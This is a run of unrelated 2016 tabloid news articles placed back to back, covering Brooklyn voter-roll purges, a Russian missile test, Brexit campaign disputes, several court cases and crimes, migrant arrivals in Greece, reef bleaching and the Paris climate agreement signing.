A New York City Board of Elections official has been suspended after reports of voters being turned away and polling sites opening late in Brooklyn during Tuesday's presidential primary election.

The Board of Elections office announced that Brooklyn Chief Clerk Diane Haslet-Rudiano has been suspended without pay pending an internal probe into 'the administration of the voter rolls' in Brooklyn.

'The administration of the voter rolls in Brooklyn is of major concern to our office and is a focus of our investigation,' New York Attorney General Eric Schneiderman said.

Schneiderman's office launched the investigation after a state voter hotline received more than 1,000 complaints from voters.

New York City's Comptroller Scott Stringer said that the largest issue appeared to be that some voters who were eligible were removed from voter-registration roll, while others had their party affiliation changed.

In conducting a normal procedure that prevents the removal of eligible voters during a periodical purge for those who died or moved away, Haslett-Rudiano reportedly skipped a step.

Her error caused roughly eight per cent of Brooklyn's registered voters to be removed.

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A state voter hotline received more than 1,000 complaints during primary election. Problems included some polling sites (above) not being opened in time for voting and incorrect primary notifications were mailed out

New York City's Comptroller Scott Stringer (above) said that the largest issue appeared to be that some voters who were eligible were removed from voter-registration roll, while others had their party affiliation changed

Courtesy NY1

Over a five month period between October 2015 and April 2016, more than 100,000 active voters were improperly removed from the rolls.

According to the New York Daily News, Brooklyn is the only county in the state that lost voters in that time period.

Other problems included some polling sites were not opened in time for voting, training of poll workers and incorrect primary notifications were mailed out, WABC reported.

Stringer has also called for a full audit of the City Board of Elections' entire processes before polls had even closed.

In a statement, the Board of Elections office said it will 'fully cooperate with the investigations currently being conducted by the Office of the New York State Attorney General and The Office of the New York City Comptroller.'

Former first lady Hillary Clinton won the Democratic primary against Sen. Bernie Sanders.

He said that he was 'concerned about the conduct of the voting process in New York.'

New York Attorney General Eric Schneiderman (above) said: 'The administration of the voter rolls in Brooklyn is of major concern to our office and is a focus of our investigation'

Haslett-Rudiano reportedly made an error that caused more than 100,000 active registered voters in Brooklyn to be removed from the rolls between October 2015 and April 2016. Above people vote in Brooklyn on Tuesday

A top Clinton campaign official, John Podesta, said on Twitter that 'Every eligible voter has the right to have their vote counted.'

Haslett-Rudiano earned $125,758 last year, as she has worked at the Board of Elections since 1999.

This isn't her first controversy, as the Daily News reported that in 2013 she let her 123 year old Upper West Side brownstone fall into bad shape that the Department of Building issued more than 20 violations.

Haslett-Rudiano bought the property in 1976 for $5,000, but neighbors say that it became a target for vandals and rats.

They reportedly begged her to sell the unoccupied building, but she claimed that she had difficulty doing so because it reminded her of her late husband, the Daily News reported.

'A lot of my husband's dreams are wrapped up in that building,' she told the Daily News in 2013.

Eventually the property sold in 2014 for $6.6million.
State media claims tests were carried out near Khazakstan on Tuesday

Russia has reportedly tested a new hypersonic glide vehicle designed to breach missile defences and deliver nuclear warheads beyond enemy lines, state media has claimed

The test of the hypersonic cruise vehicle was reportedly carried out using a strategic ballistic missile in Orenburg, near the border to Kazakhstan, on Tuesday.

This follows reports that Vladimir Putin's armed forces currently have the highest number of attack submarines patrolling the Scottish and Scandinavian coastlines since the Cold War.

Vladimir Putin's military forces reportedly tested its new hypersonic cruise vehicle using a strategic ballistic missile in Orenburg, near the border to Kazakhstan, on Tuesday

The hypersonic glide vehicle would be able to get past missile defences as they make it impossible to calculate the warhead's ballistic trajectory, RT.com reports.

The government-funded news website reported that Russian Strategic Missile Forces's test of the hypersonic cruise vehicle was successful, citing news agency Interfax.

The test launch used an RS-18A strategic ballistic missile (UR-100N, NATO designation SS-19 Stiletto), the website said.

The test launch reportedly used an UR-100N strategic ballistic missile (file photo)

This comes as Putin boosts its fleet of attack submarines patrolling the coasts of Scandinavia and Scotland, the Mediterranean and the North Atlantic, a US Navy chief has said.

Adm Mark Ferguson, the US Navy's top commander in Europe, said that patrols had increased by almost 50 per cent in the past year, citing a Russian Navy official.

'For the period from January 2014 to March 2015 the intensity of patrols by submarines has risen by almost 50 percent as compared to 2013,' says Navy Commander Admiral Viktor Chirkov said in April last year.

Analysts told the New York Times on Wednesday that the tempo 'has not changed' in the past year, and Russia now has the most attack submarines in the area in 20 years.

'We are not quite back in a Cold War, but I sure can see one from where we are standing,' retired admiral and former supreme allied commander of NATO James G. Stavridis, told the Times.

Russia's chief concern is NATO's biggest modernization since the Cold War, which is likely to include a military build-up in eastern Europe with a rotating, multinational force in Poland and the Baltics.

NATO says the plans are a proportionate response to Russian aggression following Moscow's annexation of Crimea, and the alliance had no forces in eastern Europe before the Ukraine crisis.
George Osborne's uncle has attacked the Treasury's decision to splash 9million of taxpayers' money on a leaflet setting out the case for Britain remaining in the EU.

In a remarkable outburst the ex-casino boss James Osborne said the controversial leaflet - sent to 27 million households - was 'grossly unfair' as he spoke out against his nephew and backed Brexit.

But he said he believed the decision would have been David Cameron's rather than the Chancellor, even though the Treasury was responsible for most of its content, which warned of higher food prices and other economic costs if voters backed Brexit in June's referendum.

George Osborne's uncle James (pictured) has attacked the Treasury's decision to splash 9million of taxpayers' money on a leaflet setting out the case for Britain remaining in the EU

The 16-page booklet was heavily criticised by politicians on both sides of the EU debate - including Jeremy Corbyn.

Justice Secretary Michael Gove - a close friend of Mr Cameron and Mr Osborne - described it as 'one-sided propaganda'.

The 70-year-old Mr Osborne also criticised arguments made by his nephew and other In campaigners that the EU's economic powerhouses such as Germany and France would impose crippling tariffs following a Brexit, which would harm British exports to the continent.

'The idea that they are going to stop trading with us is just ludicrous,' he told the Evening Standard. 'Britain will be better on its own and has been in the past.'

He accepted there would be a two to five year period of uncertainty while Britain negotiated new free trade agreements but predicted voters would not be put off backing Brexit by Mr Cameron's repeated claim that quitting the Brussels club would be a 'step in the dark'.

In a remarkable outburst the ex-casino boss James Osborne said the controversial leaflet - sent to 27 million households - was 'grossly unfair' as he spoke out against his nephew George Osborne (pictured on Monday presenting a Treasury document setting out the case for staying in the EU

He said enough voters remember what Britain was like before we joined the European Community in 1973 and would be confident of life outside the EU.

Mr Osborne agreed with the common Brexit argument that leaving the EU would free British businesses of crippling red tape - attacking the 'collossal bureaucracy' of Brussels.

And he also criticised the democratic deficit of the EU, saying Westminster should not be ruled by 'unelected people' in Brussels.

But it was his comments on the controversial EU leaflet that is most surprising as the attack is directed so close to the Chancellor.

The 70-year-old Mr Osborne said: 'I don't think it was fair to produce a leaflet costing nine million quid,' he told The Standard. 'That was grossly unfair.'

Asked what his nephew would make of his comments, Mr Osborne Sr said: 'He would say "please keep out of politics uncle James".'

'As the Cabinet are allowed to express their opinion, I don't see why I should not,' he added.

He insisted he is a 'great supporter of George,' adding: 'I'm the only member of my family who is for Brexit.'

The Prime Minister will have to justify the decision to spend 9.3million on the leaflet at a rare meeting in front of select committee chairman next month.

He had originally refused a request to appear before the Liaison Committee to be grilled on the Government's approach to the EU referendum but yesterday Downing Street announced he had found time in his diary and will attend on Wednesday 4 May.

Even Mr Corbyn - who made a major speech last week backing Britain's continued membership of the EU - criticised the leaflet.

A spokesman for the Labour leader said he felt it was unfair to use taxpayers' cash to promote only one side of the campaign, adding: 'Jeremy is of the view that there should have been an even approach to the information to allow everyone to make an informed decision.'

As the leaflets began dropping on doormats across the country earlier this month, many were sent straight back to Downing Street as voters protest the taxpayer-funded mailshot.

Tory MP Jacob Rees-Mogg told him the Government's pro-EU leaflet was a 'propaganda sheet' containing 'untrue' information. He said that despite mass immigration from the EU, it claimed Britain had control of its borders

Images were posted on Twitter of the 14-page booklet with handwritten comments asking the Royal Mail to 'return to sender'.

Senior Tory Eurosceptics confronted ministers over the leaflet and demanded they lift spending allowances for the Out campaign to counter the 'blatant unfairness'.

Tory MP Jacob Rees-Mogg told Mr Cameron in the Commons chamber that the Government's pro-EU leaflet was a 'propaganda sheet' containing 'untrue' information.

He said that despite mass immigration from the EU, it claimed Britain had control of its borders.

'Have we withdrawn from the free movement of people, or is that sheet simply untrue?' he asked.

Mr Cameron said: 'What he has just put forward is classic of the sort of scare story we get.
Shaw has had his penalty halved on appeal this week in the County Court

Neighbour Sharon Dalrymple says she was 'fearful' as he stood there

The court heard Shaw stood in the doorway naked with his arms open

Shaw was the former mayor of Frankston, a south-east Melbourne suburb

Denis Shaw says he dropped a towel in front of his neighbour as a joke

A former mayor who stood naked in the doorway of his neighbour's home after she asked him to help build a gazebo has had his penalty halved on appeal.

Denis Shaw, who was a councillor for 11 years and served as mayor of Frankston at one stage, told the County Court of Victoria on Friday this week that his state of undress had been due to being an Englishman who couldn't tolerate the Australian summer heat, according to the Frankston Standard Leader.

The court heard that on January 3, 2015, Shaw had been naked when his neighbour, Sharon Dalrymple, called him asking for for help to re-erect her gazebo after it reportedly fell down.

Denis Shaw told the County Court of Victoria on Friday this week that his state of undress had been due to being an Englishman who couldn't tolerate the Australian summer heat

The court heard that on January 3, 2015, Shaw had been naked when his neighbour, Sharon Dalrymple, called him asking for for help to re-erect her gazebo after it reportedly fell down

Shaw said it was a hot day and he had no air conditioning at his home before he went next door and approached Ms Dalrymple's open front door wrapped in a towel.

He said that once inside, he dropped the towel he was wearing as a joke.

But Ms Dalrymple told the court she was 'fearful' to see the man standing naked with his arms wide open.

She said she called the police sometime after Shaw returned to the home dressed, holding a toolbox, and fixed her gazebo, according to the report.

The charge was reportedly laid on June 24 last year and he was given a 12 month good behaviour bond when the matter was heard in Frankston Magistrates Court in February.

Judge Elizabeth Gaynor ordered Shaw undertake a six-month good behaviour bond without conviction.
More than 50 scientists said phasing out coal must be a top priority

Dozens of Australian scientists have penned a letter to express major concern for the Great Barrier Reef, which is currently undergoing its worst coral bleaching in history.

The letter signed by 56 scientists urged the government to make phasing out fossil fuels and coal a major priority to save the reef.

'We are now seeing first hand the damage that climate change causes, and we have a duty of care to speak out,' the open letter stated.

Dozens of Australian scientists have penned a letter to express major concern for the Great Barrier Reef, which is currently undergoing its worst coral bleaching in history

The letter signed by 56 scientists urged the government to make phasing out fossil fuels and coal a major priority to save the reef

'Australia must rapidly phase-out our existing ageing and inefficient coal-fired power stations.

'In addition, there can be no new coal mines. No new coal-fired power stations. The transition to a renewables-led energy system, already underway, must be greatly accelerated.'

The letter, published in The Courier-Mail as an advert, cost the $14,000 to publish and was funded by a the Climate Council successfully raised money from 250 sponsors.

It was revealed 93 per cent of the world's largest reef was affected by coral bleaching, the worst case in recorded history.

A report by news.com.au noted the letter was published in the same week it was revealed 93 per cent of the world's largest reef was affected by coral bleaching, the worst case in recorded history.

Organisations are demanding further action from the federal government, with WWF Australia pushing for 100 per cent renewable electricity by 2035 and net zero carbon pollution before 2050, according to the report.

Coral bleaching or whitening is caused by warmer sea temperatures.
People were quick to cast doubt on the sincerity of Johnny Depp and Amber Heards now infamous terrier smuggling apology video.

But nobody could question the acting in this adorable re-enactment from two young Australian children.

Adelaide schoolkids Sam, 11, and Annie, 6, lampooned the American actors by issuing their own straight-faced apology - for drawing on their parents walls.

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Schoolkids Sam, 11, and Annie, 6, have made a hilarious parody of Johnny Depp and Amber Heards now infamous terrier smuggling apology video

This is a wonderful house with a treasure trove of unique walls, floors and cupboards, Annie says, nailing the monotone execution of the original. Im truly sorry that we drew on the walls.

Mum and Dad are unique: both warm and direct. When you disrespect them, they will tell you firmly, says Sam, whose hair is fashioned in Depps trademark slicked back style.

The childrens father Sasha, who shared the hilarious video on social media, told Daily Mail Australia the kids have no idea who Depp or Heard are.

Sam heard about the apology on the news but doesn't have a clue who they are. And Annie just loves acting: she doesnt have a clue who they are either.

It comes after Heard pleaded guilty on Monday to providing a false immigration document when the couple brought their two dogs into Australia last year.

The couple submitted the viral video apologising to the courts, but it soon drew gibes online for the couple's grim, wooden appearance  and it was quickly likened to a hostage situation.

The children lampoon the American actors by making their own are straight-faced apology - for drawing on their parents walls

This is a wonderful house with a treasure trove of unique walls, floors and cupboards, Annie says, nailing the monotone execution of the original

The childrens father Sasha told Daily Mail Australia the kids have no idea who Depp or Heard are

Depp and Heard submitted the viral video apologising to the courts, but it soon drew gibes online for the couple's grim, wooden appearance
Hundreds of migrants are flocking into Europe through the Greek islands as they make a mockery of the EUs 4.7billion deal with Turkey.

Migration experts warned the hermetic sealing of the route across the Aegean was over as numbers start to rise again.

Latest figures show nearly 200 people landed on the Greek islands on both Tuesday and Wednesday.

Refugees queue for food at a makeshift migrant camp at the Greek-Macedonian border near the village of Idomeni. The EU had hoped the deal with Turkey would stem the flow of migrants trying to get to western Europe

International Organization for Migration spokesman Joel Millman said: The arrivals in Greece which were down to literally zero some days this month, are beginning to creep back up.

It could be the weather, it could be any number of things, it could be that smugglers are getting more creative.

It could be that there is just still a lot of demand in Turkey...people have already spent months to get to Turkey and where there is a will and where there is means, people will try to satisfy them.

It still shows that hermetic sealing that seemed to be happening a month ago isnt anymore.

The EU signed an agreement with Turkey last month to close off the main route into Europe across the Aegean, but the deal has started to falter.

European Council president Donald Tusk, who chaired the negotiations, warned there was a danger of blackmail if the EU relied on others to solve the migrant problem.

Greek police kitted out in riot gear patrol near a migrant camp at Idomeni, close to the border with Macedonia. Greece is currently home to 54,000 stranded migrants seeking to travel deeper into Europe

No one else is going to protect our borders for us. We cannot hand over the keys to our territory, to our security, to any third country, he said.

This applies to Turkey as well as to north African countries. Our helplessness would tempt others to blackmail Europe.

Mr Tusk appeared to criticise German chancellor Angela Merkels decision last summer to disregard EU rules and open her countrys doors to all Syrian migrants.

Children sit on a concrete tube in front of tents at a makeshift camp for migrants and refugees at the Greek-Macedonian border near the village of Idomeni. Around 10,000 people are stuck in the slum-like camp

Europe ignored its own principles and laws, thus demonstrating weakness and indecision, he said.

The former Polish prime minister also seemed to take issue with Mrs Merkel agreeing to the Turkish presidents request for her to give the go ahead for the prosecution of a comedian who mocked him on TV.

Under German law, the chancellor can authorise someone to face investigation for insulting the head of state of another country.

An elderly refugee man carries donated goods at a makeshift camp for migrants at the Greek-Macedonian border near the village of Idomeni. Thousands of migrants remain stranded in Greece since the closure of the migrant route through the Balkans in February

Mr Tusk said: Recent experience with Turkey shows that Europe must set clear limits to its concessions. We can negotiate money but never our values.

We cannot impose our standards on the rest of the world. Equally, others cannot impose their standards on us.

Our freedoms, including freedom of expression, will not be part of political bargaining with any partner. The Turkish president must heed this message.

Migrants and refugees gather for food handouts at Idomeni in northern Greece. The Greek government is becoming increasingly exasperated by the situation

As part of the EU-Turkey deal, it was agreed that all those arriving on the Greek islands would be sent back, however so far only 325 have been returned.

An estimated 180,245 migrants have entered Europe by sea so far this year, with 154,227 coming through Greece.

There has been an increase in numbers arriving from North Africa to Italy in the past three weeks. Some 25,586 landed so far this year, including 6,200 in the first two weeks of April alone.
What do you do if you suspect your boyfriend is cheating on you?

One woman had Twitters attention after she posted a video from inside his cars trunk as he drove with another woman in his passenger seat.

The brief clip shows Victoria, from Florida, filming herself from inside the trunk of the moving car, captioned: When you catch you n**** cheating with a b****! He packed his s*** to leave me for this h** but Im in the trunk.

It quickly went viral and garnered more than 25,000 likes.

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One woman had Twitters attention after she posted a video from inside his cars trunk as he drove with another woman in his passenger seat

The brief clip shows Victoria , from Florida, filming herself from inside the trunk of the moving car in her quest to catch her boyfriend cheating

So when she was inundated with requests to explain how she ended up there, Victoria regaled her followers with the story of the lengths she went to in order to catch her boyfriend - identified only as Z - in a lie.

In a series of almost 100 tweets, she revealed how she had argued with her boyfriend over the phone while she was on a night out with her friends on Thursday.

Victoria says she was annoyed that he didnt contact her on Friday morning  and later that day, she suspects he is being unfaithful when she hears him sneeze and say thank you in the background of a friends conversation with another girl, Katie.

When the car came to a stop, she jumped out and tapped on the window - and was shocked when her boyfriend, identified only as Z (above) and the girl he was with (right) simply laughed

So after that friend leaves, she calls her right hand b**** Bri to help her figure the situation out.

Together, they discover where the girl lives  and drive over.

She finds her boyfriends car parked outside the apartment and remembering that he never locks one of his doors, she hops in the trunk.

After 20 minutes of waiting, Z arrives at his car with a girl and drives off  and unbeknownst to him, Victoria is still in his trunk.

When the car eventually comes to a stop, she jumps out and confronts the pair by tapping on the window.

'Don't know where TF we at!' she wrote, alongside a second video of her, filmed as she rushed out of the trunk and started banging on the driver's side window. 'Can't wait till this n**** realize I'm the definition of a 'ride or die.'

After being inundated with requests to tell the story of how she ended up in the trunk, Victoria regaled her followers with almost 100 tweets

She revealed she suspected that her boyfriend was cheating when she heard him sneezing in the background of her friend's conversation with another girl

But instead of apologies, Z and his passenger  who it turned out is not Katie, but another girl, simply laugh at her.

But Bri had been tailing Zs car  so Victoria rode off with her.

She expected him to call or text her to grovel immediately, but she reveals it was two more days before he got in touch and asked to come over so he could explain himself.

Victoria reveals she interrogated him thoroughly  but thats where her story ends, to the outrage of her rapt followers.

Thats the end of the story cause I dont wanna sit here & tell yall that I broke up with that f***boy or that we happily ever back 2gether [sic], she concluded.
The sister-in-law of a Texas fitness instructor who was killed in a church this week believes the beloved mother-of-three could have been targeted by a 'jealous' woman.

Terri Missy Bevers, 45, was found dead by one of her bootcamp participants at the Creekside Church in Midlothian around 5am Monday.

Just an hour earlier, a male or female suspect was spotted on surveillance footage walking through the halls of the church dressed in SWAT gear.

Questions have swirled around the suspect's identity, but Kristi Stout does not believe her sister-in-law died because she was in the wrong place at the wrong time.

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A Texas mother of three, Terri 'Missy' Bevers, was found dead on Monday morning inside of a church where she teaches a fitness class

Kristi Stout, Missy's sister-in-law believes she may have been targeted by a 'jealous' woman

'A lot of us, including myself, think she was targeted,' Stout told NBC DFW.

'I could see where a woman would be jealous of Missy.'

Authorities have said they found evidence of forced entry at the church and believe Missy have walked in on a robbery while preparing for her Camp Gladiator fitness class.

Her body showed signs of a struggle. A motive for the killing has not been confirmed.

'Even amongst our investigators, there are a lot of theories,' Johnson said Tuesday. 'Were discussing all possibilities. And we'll go where the evidence leads us.'

Earlier this week police revealed that, contrary to initial reports, they could no longer be sure it was a man they were looking for in connection to Missy's death.

'We are backing off our statement that the suspect on video was a man. I know we said "he" over and over again yesterday, and that was a mistake,' Midlothian Police Assistant Chief Kevin Johnson said on Tuesday.

'There's a lot of speculation based on the gait and appearance that this person may be a woman. It's a legitimate question right now. We no longer will say the suspect is a man.'

'That does not mean I'm saying this suspect is a woman. It's just that at this point we cant rule it out. We don't know yet,' Johnson told NBC.

Police have asked the public to watch the video closely to see if they can recognize the walk of the individual and are offering $10,000 for any information about the alleged crime.

Surveilance footage revealed that a suspect wearing police SWAT gear walked through the hallways at the Creekside Church in Midlothian just an hour before Missy's body was discovered

The unknown suspect, who police say may be a man or woman, was spotted on cameras at around 3.50am

Police said they saw no interaction between Missy, who first appeared at the church at 4.20am, and the suspect on camera

Authorities revealed on Thursday that Missy died of a visible head wound. Her specific cause of death is not being released because of the ongoing investigation.

Police said they saw no interaction between Missy, who first appeared at the church at 4.20am, and the suspect on camera.

The suspect's car may have been captured on video but authorities said they do not have enough information to reveal any more details to the public.

It is not yet known if the suspect was carrying a weapon or if anything was stolen from the church. No items appear to be missing but there is significant damage.

Bevers was first seen at the church at 4:20 a.m.

No items appear to have been taken from the church but there is significant damage.

Stout said she remains in the anger phase regarding her sister-in-law's death.

Authorities revealed on Thursday that Missy died of a visible head wound. Her specific cause of death is not being released because of the ongoing investigation

'I wanna find that person, I wanna look him in the face, I want him to die,' she said.

'I know I shouldn't say that. But you took a life, you're evil, you don't need to be out there.'

Stout revealed the heartbreaking moment she and her mother had to tell Missy's three daughters, aged 8, 13, and 15, that their mother was dead.

Missy's husband, Brandon Bevers, was out of state on a trip in Mississippi at the time.

'My mom, myself, my stepdad and my aunt and uncle went over there and we woke them up out of the bed,' Stout said.

'We told the girls what we were told originally. It was the most awful nightmare you could ever imagine, telling three kids they don't have a mother anymore.'

Stout said one of Missy's daughters, named Hannah, 'screamed and ran off to her bedroom'.

'She was angry,' Stout said. 'You saw every emotion come out of her in five seconds.'
Proceedings to extradite a man accused of hijacking an EgyptAir plane and diverting it to Cyprus were delayed on Friday, after a court adjourned the hearing for three weeks.

Egyptian Seif al-Din Mohamed Mostafa, 58, arrived in handcuffs at court in Nicosia wearing a white T-shirt with the hand-drawn message 'Cici killer' emblazoned on the front in blue.

It is likely the slogan, accompanied by the filled in outline of a hand, was a reference to Egyptian President Abdel Fattah al-Sisi.

Seif al-Din Mohamed Mostafa arrived at court on Friday for his extradition hearing

Before the suspect entered the courtroom, police told him to button up his shirt to cover the message.

During the hearing Mostafa stood quietly while the proceedings were translated from Greek to Arabic.

The prosecution asked for more time to present their case as additional documentation is expected from Egypt as part of the extradition process.

The proceedings were delayed for three weeks as Egyptian authorities wait on extra documentation

Mostafa is accused of using a fake suicide belt to hijack a plane, which he says he did in order to see his ex-wife and children, who live in Cyprus

Cyprus has approved a request from Cairo to extradite Mostafa, who reportedly argues that he faces the death penalty if sent back to Egypt.

However, authorities in Cyprus have said they have written assurances from Cairo that Mostafa will not face the death penalty at a trial in Egypt.

His defence lawyer Robertos Vrahimi said Mostafa is claiming asylum.

The 58-year-old man wore a white t-shirt with 'Cici killer' emblazoned on it, though it is not clear if this is a reference to Egyptian president Abdel Fattah al-Sisi

The next hearing will be on May 13, and the defence did not object to Mostafa remaining in custody.

He is accused of using a fake suicide belt to seize the Alexandria-to-Cairo flight on March 29 and force it to land in Larnaca.

Mostafa, described by authorities as psychologically unstable, has said he acted out of desperation to see his Cypriot ex-wife and children.

Mostafa will spend the next three weeks behind bars as he waits for court proceedings to recommence

She has been quoted by Cypriot media as describing their five years of marriage as 'hell'.

The hijacking ended peacefully with Mostafa's arrest, and police say he gave a voluntary statement admitting to the offence.

Most of the 55 passengers were quickly released, but some escaped just minutes before the six-hour standoff ended.
Complaint: Olga Polizzi is leading the opposition to a development in the London mews where she lives

A top hotelier is leading the campaign to stop one of her neighbours building a two-storey basement beneath his home next to Hyde Park.

Olga Polizzi, the heir to the Forte hotels empire, has complained to the local council about the proposal to excavate two storeys beneath the quiet mews where she lives.

She claimed that the planned basement was 'totally excessive', arguing that the building works would disrupt life for residents of the exclusive area.

But neighbour Sats Ahluwalia, a care home boss, insists that he has to expand his 3million home because he cannot afford to buy a new place to live.

He is proposing to build two new floors beneath the existing two-storey property, which will include a new kitchen, private cinema and a sauna.

However, Mr Ahluwalia faces fierce opposition from other locals amidst a general backlash against the trend for lavish 'mega-basements' in pricey areas of Central London.

Mrs Polizzi, the daughter of legendary hotelier Lord Forte and mother of Hotel Inspector star Alex Polizzi, is helping to lead the objections.

'I object strongly to this proposal,' she wrote in a forthright letter to Westminster Council. 'Digging two basements for such a small house is totally excessive.

'The building works and removal of soil will cause huge and unpleasant disruption for all the neighbours.'

Property: The owner of this house is hoping to build a two-storey basement underneath it

Development: These sketches show a cross-section of the home as it will look after the renovation

She added that the house's windows would overlook other properties, and suggested that the modern design was inappropriate for 'a pretty, well-preserved little mews'.

Mrs Polizzi concluded: 'This is a massive development for a small house in a small mews. It is completely inappropriate.'

Mr Ahluwalia said that he needed the enormous basement because he cannot 'spend six million quid on a ready-made house', telling the Evening Standard: 'All I am trying to do is make a home for my family which I can afford.'

But other neighbours joined with Mrs Polizzi in opposing the development - chartered surveyor Harry Neal said: 'It will set a terrible precedent for the area and will cause significant structural instability for neighbouring properties.'

Another resident called the proposed basement 'another appalling invasion of our neighbourhood'.

Luxurious: The basement is set to extend two floors deep into the ground beneath the house

Family: Mrs Polizzi''s father was hotelier Lord Forte, left, and her daughter is TV presenter Alex Polizzi, right

Mrs Polizzi's father Lord Forte, an Italian-born businessman, started his hospitality empire with a milk bar in London, going on to open the first restaurant at Heathrow and eventually owning Travelodge, Little Chef and Happy Eater.

When she and her brother Rocco Forte inherited the family business, they chose to concentrate on upmarket properties such as the Balmoral in Edinburgh and Brown's Hotel in Mayfair.

Mrs Polizzi, whose husband William Shawcross is chairman of the Charity Commission, is now the head of design at the Rocco Forte Collection.

Alex Polizzi, her daughter by first husband Alessandro Polizzi, an Italian aristocrat, is well-known as a television star.
The Uber driver accused of killing six people during mass shootings in Michigan is competent to understand the murder charges and assist his attorney, a judge said Friday, a key step to putting the criminal case back on track.

A mental exam of Jason Dalton at a state hospital wasn't intended to determine whether the 45-year-old was insane at the time of the February 20 shootings, but rather whether he understands the charges and can assist his defense.

During a very brief hearing, Judge Tiffany Ankley said Dalton is competent.

Dalton is charged with murder and attempted murder. Police said he shot six people outside an apartment building, a restaurant and a car dealership in between driving for Uber. Two victims, including a teenager, survived.

Dalton told police after the shootings that a 'devil figure' on Uber's app was controlling him, according to documents released by investigators.

'Competent': Jason Brian Dalton enters Kalamazoo County District Court in Michigan on Friday. A judge has ruled the Uber driver fit to stand trial for an alleged mass shooting

Dalton, the Uber driver accused of killing six people during mass shootings in Michigan, is competent to understand the murder charges and assist his attorney, a judge said Friday

Dalton told police after the shootings that a 'devil figure' on Uber's app was controlling him, but a judge deemed that he understands the charges he is now facing

Defense attorney Eusebio Solis wants Dalton's statements suppressed, although prosecutor Jeff Getting said he doesn't plan to use them on May 20, the date of a critical hearing to determine if there's enough evidence to send the case to trial.

It was recently revealed that during Dalton's teenage years when he attended Comstock High School in Kalamazoo, his classmates included a man who murdered his wife and a woman accused of gunning down another female.

According to the New York Daily News, Dalton was in the same class as John Kovach, who in 2013 was sentenced to 18 to 30 years in prison for the murder of his wife Nancy.

Meanwhile another classmate was Theresa Pretto, who is charged with the murder of 25-year-old Rachel Drafta.

Police believe that Pretto carried out the killing because she was angry with Drafta who was dating her ex-boyfriend, Brent Kirk.

In January, a judge ruled Pretto was competent to stand trial after she was examined by a psychiatrist.

It now means that out of a class of 150 students, three have faced serious charges.

It emerged that Dalton strolled the aisles of a gun store - with a smile on his face and hands in his pockets - just hours before he allegedly killed six people

Dalton was apprehended and taken into custody without a struggle and police found a semi-automatic handgun inside his car, according to reports

One classmate, Jonathan Hay said: 'It's kind of disturbing to think about.'

Dalton's terrifying attacks on Saturday began outside the Meadows apartment complex on the eastern edge of Kalamazoo County, where a woman was shot multiple times. She was expected to survive.

Dalton was arrested in a car he had been using to drop off and pick up passengers in between the attacks at three different locations - a restaurant parking lot, a car dealership and an apartment complex.

Some who got in his car to use his service said he was driving erratically and one even called 911 to report his bizarre behavior when they got out.

Dalton was apprehended and taken into custody without a struggle and police found a semi-automatic handgun inside his car, according to reports.

Michigan State police identified four casualties who were shot in the parking lot of a Cracker Barrel Mary Lou Nye, 63, Mary Jo Nye, 60, Dorothy Brown, 74, and Barbara Hawthorne, 68.

High school senior Tyler Smith, 17, was killed in the parking lot of Seelye Kia, along with his father, Rich, while they were looking at cars, multiple reports suggest.

One of those wounded was a 14-year-old girl who was even pronounced dead at the hospital, but showed she was still alive by squeezing her mother's hand.

Dalton's neighbor said he knew the man had a pistol because the two of them 'talked about it'.

Today it also emerged that Dalton strolled the aisles of a gun store - with a smile on his face and hands in his pockets - just hours before he allegedly killed six people.

The shop owner says he walked in with a friend, looked around and bought a jacket with a pocket designed to conceal a handgun.

Jonathan Southwick, who runs Southwick's gun store, said the father-of-two was in a great mood and was 'laughing and joking' with staff on Saturday during his visit.
A pervert cyclist who pedalled alongside unsuspecting victims aged 11 to 57 and groped them from behind has been jailed for four years.

Daniel Randall-Coles, 25, of Southampton, committed 17 assaults during a sickening three-week spree of sex attacks on women and girls.

Southampton Crown Court heard how he would ride up silently behind victims on his bicycle and grope them indecently over their clothing, touching their buttocks or between their legs.

Daniel Randall-Coles, 25, of Southampton pedalled alongside unsuspecting victims aged 11 to 57 and groped them from behind

On many occasions he put his hand up the female's coat or skirt before fleeing the scene on his bike.

Crying as his mother, sister, and partner sat in the public gallery, Randall-Coles heard from the prosecution that the attacks took place between January 11 and January 29 this year.

His victims were alone in public places when they were assaulted, often occupied talking on the phone, listening to music or exercising.

One some occasions victims said that Randall-Coles circled back on his bike, laughed, or grinned at them, and one woman said he winked at her.

CCTV footage showed a 12-year-old girl in school-uniform being approached and assaulted by Randall-Coles on a bike in the city centre whilst she was on her way to school.

Victim statements read to the court said that many felt 'violated and very scared' as well as 'disgusted and ashamed.'

The sex attacks happened in various locations around Southampton including near West Quay, Above Bar Street, and Southampton General Hospital in Millbrook and Lordshill.

Following a police media appeal to identify the cyclist after the attacks, Randall-Coles handed himself in at Southampton Central Police Station on January 31.

Randall-Coles committed 17 assaults during a sickening three-week spree of sex attacks on women and girls, Southampton Crown Court heard

Sentencing, Judge Peter Ralls QC said it was a 'bizarre' offence and told the court he believed Randall-Coles was a danger to the public as the offences showed he had planned the attacks.

Randall-Coles was sentenced to four years in prison and five years probation after admitting 15 counts of sexual assault and two counts of sexually assaulting girls aged under 13.

He will also be placed on the Sex Offenders Register and has been given a Sexual Harm Prevention Order for an indefinite period of time.

With the help from media and the public, Randall-Coles found himself having to present himself at a police station on January 31, less than 24 hours after we released his image. Detective Sergeant Matt Barcraft-Barnes

Speaking after the sentencing, Detective Sergeant Matt Barcraft-Barnes from the Western Investigations Team said: 'This was a complex investigation.

'Numerous victims all reported sexual assaults by a stranger, described in the same way, in various locations within Southampton, in a very short amount of time.

'We received a large number of reports in quick succession, which we swiftly consolidated to concentrate on bringing in one man.

'With the help from media and the public, Randall-Coles found himself having to present himself at a police station on January 31, less than 24 hours after we released his image.'

He added: 'Randall-Coles was brazen and arrogant in his approach to committing these crimes, targeting victims aged 11-years-old to 57-years-old across the city for his own gratification.
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Leonardo DiCaprio and Canadian Prime Minister Justin Trudeau quickly turned up the heat at the UN as they appeared in New York for the signing ceremony of the Paris agreement on climate change on Friday.

But in the end it was John Kerry's granddaughter that warmed hearts across the globe.

The Secretary of State carried the 2-year-old in his arms as he walked up to sign the agreement on behalf of the United States.

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History may have been made today with the signing of the Paris agreement on climate change, but it was John Kerry's granddaughter who stole the show

The Secretary of State carried the 2-year-old in his arms as he signed the landmark agreement on behalf of the United States

Isabel Dobbs-Higginson watched with curiosity as her grandfather signed the book that would soon contain 171 names

The adorable toddler's mother is Kerry's oldest daughter, named Alexandra. Kerry also has a younger granddaughter named Livia

After scribbling his name, Kerry gave his granddaughter, named Isabel Dobbs-Higginson, a sweet smooch on the cheek.

Isabel was one of 197 children present at the event to represent the countries that had adopted the agreement, according to USA Today.

